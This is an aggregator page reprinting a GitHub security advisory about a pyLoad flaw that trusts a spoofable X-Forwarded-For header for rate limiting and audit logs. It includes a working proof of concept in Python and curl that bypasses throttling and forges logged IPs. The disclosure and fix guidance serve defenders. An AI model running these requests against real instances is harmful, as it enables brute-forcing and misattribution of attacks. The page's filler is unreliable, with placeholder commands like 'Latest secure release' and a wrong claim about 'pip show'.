GHSA-9q47-3cm2-2rp8: pyLoad Rate-Limit Bypass And Audit-Log Spoofing Vulnerability

MODERATE
CWE-290
Published
Advisory Summary

GHSA-9q47-3cm2-2rp8 is a MODERATE rate-limit bypass and audit-log spoofing vulnerability (CWE-290: Authentication Bypass by Spoofing) affecting pyLoad libraries in the PyPI ecosystem. The issue involves rate-limit bypass and audit-log spoofing via trusted client-controlled `x-forwarded-for` header. Remediation is available in the latest vendor maintenance releases.

GHSA-9q47-3cm2-2rp8 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-9q47-3cm2-2rp8
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-290: Authentication Bypass by Spoofing
Affected Product pyLoad
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-9q47-3cm2-2rp8

To remediate this vulnerability, upgrade all affected pyLoad dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: Latest secure release
pip install pyload-ng>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-9q47-3cm2-2rp8, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of pyLoad in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-290: Authentication Bypass by Spoofing, where this attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. In pyLoad, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary pyLoad determines the "client IP" used for its rate-limiting decorator and for its security/audit logging by reading the client-supplied `X-Forwarded-For` (XFF) HTTP header and taking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces clients directly, and there is no `ProxyFix` middleware). Because any client can freely set this header, an attacker can (1) completely bypass rate limiting by rotating the header on each request, and (2) forge the source IP recorded in security logs for login and API-key authentication failures, defeating IP-based blocking (e.g. fail2ban) and poisoning attribution. ## Severity Medium — CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` (~5.3) - CWE-807: Reliance on Untrusted Inputs in a Security Decision - CWE-290: Authentication Bypass by Spoofing - CWE-348: Use of Less Trusted Source ## Affected Version pyLoad 0.5.0b3 (built from the `develop` branch). Confirmed still present and exploitable in the later `pyload-develop-2` snapshot (the affected files are byte-identical between the two; the `develop-2` changes only touched the unrelated API-key cache). ## Affected Component Web UI request handling — client-IP derivation used by rate limiting and security logging. - `src/pyload/webui/app/helpers.py:446` — inside the `rate_limit()` decorator; derives the per-IP bucket key. - `src/pyload/webui/app/helpers.py:357` — API-key authentication success/failure logging. - `src/pyload/webui/app/blueprints/app_blueprint.py:81` — web login success/failure logging. - `src/pyload/webui/webserver_thread.py` — Cheroot serves the Flask app directly; no reverse-proxy trust boundary or `ProxyFix`. - Consumer: `src/pyload/webui/app/blueprints/api_blueprint.py:25` applies `@rate_limit(count=100, period=60)` to the `/api/<func>` RPC endpoint. ## Description: All three locations derive the client IP with the identical expression: ```python client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() or flask.request.remote_addr ``` `X-Forwarded-For` is an HTTP request header fully controlled by the client. The code takes `split(",")[0]` — the leftmost token — which is always the value supplied by the *original client* (a proxy appends its own value to the right). Only when the header is entirely absent does the code fall back to `request.remote_addr` (the real TCP peer). There is no configured trusted-proxy count, and pyLoad's server (Cheroot) terminates client connections directly, so `remote_addr` is the true peer and the XFF value is untrusted attacker input. Two security decisions are made on this untrusted value: 1. Rate limiting (`rate_limit()`): the decorator keeps `request_history[client_ip]` and enforces `count` requests per `period` per `client_ip`. Since `client_ip` is attacker-controlled, sending a distinct value each request creates a distinct bucket, so the counter never accumulates and the limit never triggers. 2. Audit logging: login-failure and API-auth-failure log lines embed `[CLIENT: {client_ip}]` using the same spoofable value, so the recorded source address is chosen by the attacker. Notably, the codebase is internally inconsistent: `is_loopback_request()` (helpers.py:288) treats the *presence* of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as a reason to *distrust* an apparent loopback source, while the rate-limit and logging paths naively trust the same header — indicating the trust here is unintended. ## Proof of Concept The `rate_limit()` decorator's actual source (bytes read from `pyload-develop-2/src/pyload/webui/app/helpers.py`, lines 416–514) was executed under a real Flask test client. Rate limit set to 5/60s for brevity (identical logic to the production 100/min): ```python import ast, math, time from functools import wraps import flask HELPERS = ".../pyload-develop-2/src/pyload/webui/app/helpers.py" src = open(HELPERS).read() node = next(n for n in ast.parse(src).body if isinstance(n, ast.FunctionDef) and n.name == "rate_limit") ns = {"flask": flask, "time": time, "math": math, "wraps": wraps} exec(compile(ast.get_source_segment(src, node), HELPERS, "exec"), ns) rate_limit = ns["rate_limit"] def build_app(): app = flask.Flask(__name__) @app.route("/api/ping") @rate_limit(count=5, period=60) def ping(): return flask.json.jsonify({"ok": True}) return app def run(hdr): app = build_app() with app.test_client() as c: return [c.get("/api/ping", headers=hdr(i)).status_code for i in range(8)] print("FIXED XFF:", run(lambda i: {"X-Forwarded-For": "203.0.113.9"})) print("ROTATE XFF:", run(lambda i: {"X-Forwarded-For": f"10.0.0.{i}"})) ``` Output: ``` FIXED XFF: [200, 200, 200, 200, 200, 429, 429, 429] # limit enforced ROTATE XFF: [200, 200, 200, 200, 200, 200, 200, 200] # 0x 429 -> limit bypassed # server log during FIXED run: # WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60) ``` Derivation check (XFF present, real peer is loopback): ```python # request with header X-Forwarded-For: 8.8.8.8 and REMOTE_ADDR 127.0.0.1 client_ip = request.headers.get("X-Forwarded-For","").split(",")[0].strip() or request.remote_addr # -> client_ip == "8.8.8.8" (the spoofed value wins over the real remote_addr) ``` Equivalent against a live instance: ```bash # Rate limit never trips regardless of volume: for i in $(seq 1 500); do curl -s -o /dev/null -H "X-API-Key: pl_1<valid-key>" \ -H "X-Forwarded-For: 10.0.0.$((RANDOM%255))" \ http://127.0.0.1:8000/api/get_server_version done # no HTTP 429 is ever returned # Forged source IP in the audit log: curl -s -o /dev/null -H "X-Forwarded-For: 8.8.8.8" \ --data 'username=admin&password=wrong' http://127.0.0.1:8000/login # server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8] ``` ## Steps To Reproduce 1. Start a pyLoad instance directly exposed (no reverse proxy), as in a default deployment. 2. Obtain any valid API key (or use the login endpoint) so requests reach the rate-limited / logged code paths. 3. Send more than the configured limit of requests to a `@rate_limit`-protected endpoint (e.g. `/api/get_server_version`) while setting a **different** `X-Forwarded-For` value on each request. Observe that no `429 Too Many Requests` is ever returned. 4. Control: repeat step 3 with a **fixed** `X-Forwarded-For` value; observe `429` after the limit, proving the bucket is keyed on the header value. 5. Send a failed login (or failed API-key request) with `X-Forwarded-For: 8.8.8.8` and inspect the server log; the failure is attributed to `8.8.8.8` rather than the real client address. ## Impact - Rate limiting on the authenticated API (`/api/<func>`, 100/min) and any other `@rate_limit`-protected endpoint provides no protection against a single attacker, who can issue unlimited requests — enabling resource abuse and unthrottled brute-forcing of anything reachable through those endpoints. - Security/audit logs cannot be trusted for source attribution. An attacker can stamp every malicious request with an arbitrary or innocent third-party IP, evading IP-based blocklists / fail2ban and misdirecting incident response. - Amplifies other authentication weaknesses (e.g. the absence of throttling on `/login`), since even the throttling that does exist elsewhere is defeated and the attacker's IP is unlogged. ## Root Causes 1. A client-controlled HTTP header (`X-Forwarded-For`) is used directly in security decisions (rate-limit bucketing and audit attribution) without any trusted-proxy validation (CWE-807). 2. The leftmost XFF token is selected, which is always the value supplied by the original client; this is spoofable both in direct-exposure and behind-a-proxy deployments (CWE-348). 3. No `ProxyFix` / trusted-proxy-hop configuration exists, and the server terminates client connections directly, so there is no basis for trusting forwarded headers at all. 4. Inconsistent handling across the codebase (loopback checks distrust these headers while rate-limit/logging trust them) indicates the trust is accidental rather than designed. ## Suggested Fix 1. By default, use `request.remote_addr` (the real TCP peer) for rate limiting and logging; do not trust `X-Forwarded-For` unless a proxy is explicitly configured. 2. Add an explicit, operator-configured trusted-proxy count (default 0 = trust none). When set, apply Werkzeug's `ProxyFix(app.wsgi_app, x_for=N)` and read the correct hop (the value inserted by the trusted proxy — typically the Nth-from-right token — not the leftmost client-supplied token). 3. Derive the trusted client IP once in a single helper and use it consistently for rate limiting, logging, and the loopback checks, removing the duplicated inline expressions. 4. Consider defense-in-depth: cap the number of distinct rate-limit buckets and/or additionally rate-limit on `remote_addr` so a spoofed header cannot create unbounded buckets. Invariant to restore: security decisions and audit attribution must be based on a connection-level or trusted-proxy-validated address, never on a raw client-supplied header.

GHSA-9q47-3cm2-2rp8 Affected pyLoad Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
PyPI
0.5.0b3.dev101
All 1 versions
0.5.0b3.dev101
None specified

References

Frequently Asked Questions

What is GHSA-9q47-3cm2-2rp8?
GHSA-9q47-3cm2-2rp8 is a security vulnerability in pyLoad involving Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header under CWE-290: Authentication Bypass by Spoofing.
Which pyLoad versions are affected?
Affected versions include releases prior to current release patches across affected packages: pyload-ng.
What version fixes GHSA-9q47-3cm2-2rp8?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with GHSA-9q47-3cm2-2rp8?
GHSA-9q47-3cm2-2rp8 is classified under CWE-290: Authentication Bypass by Spoofing (This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.).
How can I check PyPI dependencies for GHSA-9q47-3cm2-2rp8?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9q47-3cm2-2rp8",
  "modified" : "2026-10-09T17:09:12Z",
  "published" : "2026-10-09T17:09:12Z",
  "aliases" : [ ],
  "summary" : "pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header",
  "details" : "## Summary\n\npyLoad determines the \"client IP\" used for its rate-limiting decorator and for its\nsecurity/audit logging by reading the client-supplied `X-Forwarded-For` (XFF) HTTP header and\ntaking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces\nclients directly, and there is no `ProxyFix` middleware). Because any client can freely set this\nheader, an attacker can (1) completely bypass rate limiting by rotating the header on each request,\nand (2) forge the source IP recorded in security logs for login and API-key authentication\nfailures, defeating IP-based blocking (e.g. fail2ban) and poisoning attribution.\n\n\n## Severity\n\nMedium — CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` (~5.3)\n\n- CWE-807: Reliance on Untrusted Inputs in a Security Decision\n- CWE-290: Authentication Bypass by Spoofing\n- CWE-348: Use of Less Trusted Source\n\n\n## Affected Version\n\npyLoad 0.5.0b3 (built from the `develop` branch). Confirmed still present and exploitable in the\nlater `pyload-develop-2` snapshot (the affected files are byte-identical between the two; the\n`develop-2` changes only touched the unrelated API-key cache).\n\n\n## Affected Component\n\nWeb UI request handling — client-IP derivation used by rate limiting and security logging.\n\n- `src/pyload/webui/app/helpers.py:446` — inside the `rate_limit()` decorator; derives the per-IP\n  bucket key.\n- `src/pyload/webui/app/helpers.py:357` — API-key authentication success/failure logging.\n- `src/pyload/webui/app/blueprints/app_blueprint.py:81` — web login success/failure logging.\n- `src/pyload/webui/webserver_thread.py` — Cheroot serves the Flask app directly; no reverse-proxy\n  trust boundary or `ProxyFix`.\n- Consumer: `src/pyload/webui/app/blueprints/api_blueprint.py:25` applies\n  `@rate_limit(count=100, period=60)` to the `/api/<func>` RPC endpoint.\n\n\n## Description:\n\nAll three locations derive the client IP with the identical expression:\n\n```python\nclient_ip = flask.request.headers.get(\"X-Forwarded-For\", \"\").split(\",\")[0].strip() or flask.request.remote_addr\n```\n\n`X-Forwarded-For` is an HTTP request header fully controlled by the client. The code takes\n`split(\",\")[0]` — the leftmost token — which is always the value supplied by the *original client*\n(a proxy appends its own value to the right). Only when the header is entirely absent does the code\nfall back to `request.remote_addr` (the real TCP peer). There is no configured trusted-proxy count,\nand pyLoad's server (Cheroot) terminates client connections directly, so `remote_addr` is the true\npeer and the XFF value is untrusted attacker input.\n\nTwo security decisions are made on this untrusted value:\n\n1. Rate limiting (`rate_limit()`): the decorator keeps `request_history[client_ip]` and enforces\n   `count` requests per `period` per `client_ip`. Since `client_ip` is attacker-controlled, sending\n   a distinct value each request creates a distinct bucket, so the counter never accumulates and\n   the limit never triggers.\n2. Audit logging: login-failure and API-auth-failure log lines embed `[CLIENT: {client_ip}]` using\n   the same spoofable value, so the recorded source address is chosen by the attacker.\n\nNotably, the codebase is internally inconsistent: `is_loopback_request()` (helpers.py:288) treats\nthe *presence* of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as a reason to *distrust* an\napparent loopback source, while the rate-limit and logging paths naively trust the same header —\nindicating the trust here is unintended.\n\n\n## Proof of Concept\n\nThe `rate_limit()` decorator's actual source (bytes read from\n`pyload-develop-2/src/pyload/webui/app/helpers.py`, lines 416–514) was executed under a real Flask\ntest client. Rate limit set to 5/60s for brevity (identical logic to the production 100/min):\n\n```python\nimport ast, math, time\nfrom functools import wraps\nimport flask\n\nHELPERS = \".../pyload-develop-2/src/pyload/webui/app/helpers.py\"\nsrc = open(HELPERS).read()\nnode = next(n for n in ast.parse(src).body\n            if isinstance(n, ast.FunctionDef) and n.name == \"rate_limit\")\nns = {\"flask\": flask, \"time\": time, \"math\": math, \"wraps\": wraps}\nexec(compile(ast.get_source_segment(src, node), HELPERS, \"exec\"), ns)\nrate_limit = ns[\"rate_limit\"]\n\ndef build_app():\n    app = flask.Flask(__name__)\n    @app.route(\"/api/ping\")\n    @rate_limit(count=5, period=60)\n    def ping():\n        return flask.json.jsonify({\"ok\": True})\n    return app\n\ndef run(hdr):\n    app = build_app()\n    with app.test_client() as c:\n        return [c.get(\"/api/ping\", headers=hdr(i)).status_code for i in range(8)]\n\nprint(\"FIXED   XFF:\", run(lambda i: {\"X-Forwarded-For\": \"203.0.113.9\"}))\nprint(\"ROTATE  XFF:\", run(lambda i: {\"X-Forwarded-For\": f\"10.0.0.{i}\"}))\n```\n\nOutput:\n\n```\nFIXED   XFF: [200, 200, 200, 200, 200, 429, 429, 429]     # limit enforced\nROTATE  XFF: [200, 200, 200, 200, 200, 200, 200, 200]     # 0x 429 -> limit bypassed\n# server log during FIXED run:\n#   WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60)\n```\n\nDerivation check (XFF present, real peer is loopback):\n\n```python\n# request with header X-Forwarded-For: 8.8.8.8 and REMOTE_ADDR 127.0.0.1\nclient_ip = request.headers.get(\"X-Forwarded-For\",\"\").split(\",\")[0].strip() or request.remote_addr\n# -> client_ip == \"8.8.8.8\"   (the spoofed value wins over the real remote_addr)\n```\n\nEquivalent against a live instance:\n\n```bash\n# Rate limit never trips regardless of volume:\nfor i in $(seq 1 500); do\n  curl -s -o /dev/null -H \"X-API-Key: pl_1<valid-key>\" \\\n       -H \"X-Forwarded-For: 10.0.0.$((RANDOM%255))\" \\\n       http://127.0.0.1:8000/api/get_server_version\ndone   # no HTTP 429 is ever returned\n\n# Forged source IP in the audit log:\ncurl -s -o /dev/null -H \"X-Forwarded-For: 8.8.8.8\" \\\n     --data 'username=admin&password=wrong' http://127.0.0.1:8000/login\n# server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8]\n```\n\n\n## Steps To Reproduce\n\n1. Start a pyLoad instance directly exposed (no reverse proxy), as in a default deployment.\n2. Obtain any valid API key (or use the login endpoint) so requests reach the rate-limited /\n   logged code paths.\n3. Send more than the configured limit of requests to a `@rate_limit`-protected endpoint (e.g.\n   `/api/get_server_version`) while setting a **different** `X-Forwarded-For` value on each request.\n   Observe that no `429 Too Many Requests` is ever returned.\n4. Control: repeat step 3 with a **fixed** `X-Forwarded-For` value; observe `429` after the limit,\n   proving the bucket is keyed on the header value.\n5. Send a failed login (or failed API-key request) with `X-Forwarded-For: 8.8.8.8` and inspect the\n   server log; the failure is attributed to `8.8.8.8` rather than the real client address.\n\n\n## Impact\n\n- Rate limiting on the authenticated API (`/api/<func>`, 100/min) and any other\n  `@rate_limit`-protected endpoint provides no protection against a single attacker, who can issue\n  unlimited requests — enabling resource abuse and unthrottled brute-forcing of anything reachable\n  through those endpoints.\n- Security/audit logs cannot be trusted for source attribution. An attacker can stamp every\n  malicious request with an arbitrary or innocent third-party IP, evading IP-based blocklists /\n  fail2ban and misdirecting incident response.\n- Amplifies other authentication weaknesses (e.g. the absence of throttling on `/login`), since\n  even the throttling that does exist elsewhere is defeated and the attacker's IP is unlogged.\n\n\n## Root Causes\n\n1. A client-controlled HTTP header (`X-Forwarded-For`) is used directly in security decisions\n   (rate-limit bucketing and audit attribution) without any trusted-proxy validation (CWE-807).\n2. The leftmost XFF token is selected, which is always the value supplied by the original client;\n   this is spoofable both in direct-exposure and behind-a-proxy deployments (CWE-348).\n3. No `ProxyFix` / trusted-proxy-hop configuration exists, and the server terminates client\n   connections directly, so there is no basis for trusting forwarded headers at all.\n4. Inconsistent handling across the codebase (loopback checks distrust these headers while\n   rate-limit/logging trust them) indicates the trust is accidental rather than designed.\n\n\n## Suggested Fix\n\n1. By default, use `request.remote_addr` (the real TCP peer) for rate limiting and logging; do not\n   trust `X-Forwarded-For` unless a proxy is explicitly configured.\n2. Add an explicit, operator-configured trusted-proxy count (default 0 = trust none). When set,\n   apply Werkzeug's `ProxyFix(app.wsgi_app, x_for=N)` and read the correct hop (the value inserted\n   by the trusted proxy — typically the Nth-from-right token — not the leftmost client-supplied\n   token).\n3. Derive the trusted client IP once in a single helper and use it consistently for rate limiting,\n   logging, and the loopback checks, removing the duplicated inline expressions.\n4. Consider defense-in-depth: cap the number of distinct rate-limit buckets and/or additionally\n   rate-limit on `remote_addr` so a spoofed header cannot create unbounded buckets.\n\nInvariant to restore: security decisions and audit attribution must be based on a connection-level\nor trusted-proxy-validated address, never on a raw client-supplied header.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "versions" : [ "0.5.0b3.dev101" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-9q47-3cm2-2rp8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/commit/5dc6b628e2d8b9f42dde82f396e5b7a2b513f6d1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-290" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T17:09:12Z",
    "nvd_published_at" : null
  }
}